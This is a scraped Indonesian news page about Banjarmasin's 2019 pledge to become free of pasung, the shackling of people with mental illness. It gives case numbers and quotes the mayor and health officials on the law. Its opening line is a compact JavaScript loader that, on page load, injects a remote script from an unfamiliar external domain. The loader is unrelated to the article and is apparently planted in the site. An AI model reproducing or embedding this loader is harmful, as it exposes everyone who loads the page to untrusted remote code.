(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ada 14 Kasus Pemasungan, Target Banjarmasin Jadi Kota Bebas Pasung


BANJARMASIN, Kota Banjarmasin akan mendeklarasikan diri sebagai Kota Bebas Pasung. Rencananya, deklarasi yang diyakini baru pertama kali di Indonesia itu, dilaksanakan bertepatan dengan peringatan HUT ke-74 Kemerdekan RI 17 Agustus 2019 mendatang.

Sebagai langkah awal, Walikota Banjarmasin Ibnu Sina bersama seluruh camat, lurah dan instansi terkait menyatakan komitmen dengan membubuhkan tanda tangan menjadikan kota berjuluk seribu sungai ini Bebas Pasung.

Komitmen bersama itu, merupakan rangkaian dari pertemuan koordinasi sinergisitas lintas sektor, pelaksanaan deklarasi Banjarmasin Bebas Pasung, yang merupakan program kesehatan jiwa, dari Dinas Kesehatan Kota Banjarmasin, di Aula Kayuh Baimbai, Balaikota Banjarmasin, Rabu (17/7).

Dari data Dinas Kesehatan Kota Banjarmasin, hingga Juli 2019 jumlah  pasung di Banjarmasin tercatat 14 kasus. Dan paling terbaru kasus dugaan pasung itu terjadi di kawasan Banua Anyar.

Ibnu Sina saat menyampaikan sambutan mengatakan, keinginan membebaskan kota dari kebiasaan pemasungan manusia itu merupakan hal yang mulia.

Namun begitu, lanjutnya, hal tersebut tidak bisa dilakukan oleh satu institusi saja, tetapi harus dilakukan secara bersama-sama dan lintas sektoral.

“Tadi daftarnya sudah jelas, ada dinas-dinas terkait, kemudian ada aparat penegak hukumnya, kemudian ada tenaga kesehatannya, para relawannya juga ada. Saya kira nanti yang paling berhadapan langsung dengan situasi ini adalah para lurah dan RT dan RW di masing-masing wilayah,” ujarnya.

Mudah-mudahan, ucapnya, dengan adanya kegiatan pertemuan tersebut dapat menyatukan persepsi sehingga bisa saling berkolaborasi mendukung rencana tersebut. “Saya betul-betul ingin agar hal ini bisa menjadi kerjasama dan koordinasi, karena ini tugas tambahan dan tentu tanggung jawab kita, resikonya sudah tahu, ketika kita mendeklarasikan, jangan sampai ini hanya sekedar deklarasi atau proklamasi saja,” harapnya.

Sementara itu, Kadinkes Kota Banjarmasin, Machli Riyadi mengatakan, dasar hukum dideklarasikannya program bebas pasung ini adalah UUD 1945, pasal 28 G, ayat 2, dan pasal 28 I ayat 1, tentang hak untuk bebas dari penyiksaan dan hak untuk hidup dan hak untuk tidak disiksa.

Selain itu, dasar hukum lain yang memperkuat program tersebut adalah UU Nomor 36 tahun 2009 tentang Kesehatan pasal 56, pasal 146 ayat 2, pasal 147 ayat 2, Pasal 148 ayat 1, dan Pasal 149 tentang perlindungan pasien dengan gangguan jiwa, menghindari pelanggaran hak asazi, tetap menghormati hak asazi penderita, hak yang sama sebagai warga negara dan gangguan jiwa wajib mendapatkan pengobatan dan perawatan.

“UU nomor 18 tentang kesehatan jiwa, pasal 86 menyatakan, setiap orang yang dengan sengaja melakukan pemasungan, penelantaran, kekerasan dan atau penyuruh orang lain untuk melakukan pemasungan, penelantaran dan atau kekerasan terhadap ODMK dan ODGJ atau tindakan lainnya yang melanggar hak asazi ODMK dan ODGJ, dipidana sesuai dengan ketentuan peraturan perundang-undangan,”  ujarnya.

Adanya program bebas pasung ini, jelasnya, diharapkan dapat mencapai masyarakat Indonesia bebas dari tindakan pemasungan terhadap orang dengan gangguan jiwa melalui, terselenggaranya perlindungan HAM bagi orang dengan gangguan jiwa, kemudian tercapainya peningkatan pengetahuan dari seluruh pemangku kepentingan dan masyarakat di bidang kesehatan jiwa serta mencegah penelantaran dan pemasungan. (mario)

Reporter : Mario
Editor : Bie

Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

7 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

8 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

9 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

10 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

13 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

14 jam ago

This website uses cookies.